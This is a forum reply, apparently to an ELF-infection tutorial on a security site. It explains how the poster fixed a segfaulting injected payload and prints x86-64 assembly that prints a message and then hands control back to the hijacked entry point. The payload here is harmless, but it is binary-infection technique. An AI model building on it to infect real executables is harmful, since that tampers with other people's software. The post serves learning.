Sorry for necroposting, but as the current code didn't work for me I thought I would add how I fixed it, in case anybody else comes here after me.
The payload, although running and passing flow over to
_main, made the kernel segfault. The reason being that the CPU state had been corrupted by the
syscall code. Saving the registers before and then restoring them after fixed it.
Also, I had to change the pattern being replaced by the original entry point, to be 8 bytes. When replacing the
0x11111111 pattern with
ep, the value is zero extended when casting to
elfi_mem_subst (d+p, p_text_sec->sh_size, 0x11111111, (long)ep);
My final payload:
;; save cpu state
;; write msg to stdout
mov rax,1 ;  - sys_write
mov rdi,1 ; 0 = stdin / 1 = stdout / 2 = stderr
lea rsi,[rel msg] ; pointer(mem address) to msg (*char)
mov rdx, msg_end - msg ; msg size
syscall ; calls the function stored in rax
;; restore cpu state
;; jump to _main
mov rax, 0x1111111111111111 ; address changed during injection
msg db 0x1b,'[31msuch infected, much wow!',0x1b,'[0m',0x0a,0
msg_end db 0x0
Sorry about the notification guys.
Really awesome tut, pico. Have my first contribution to 0x00sec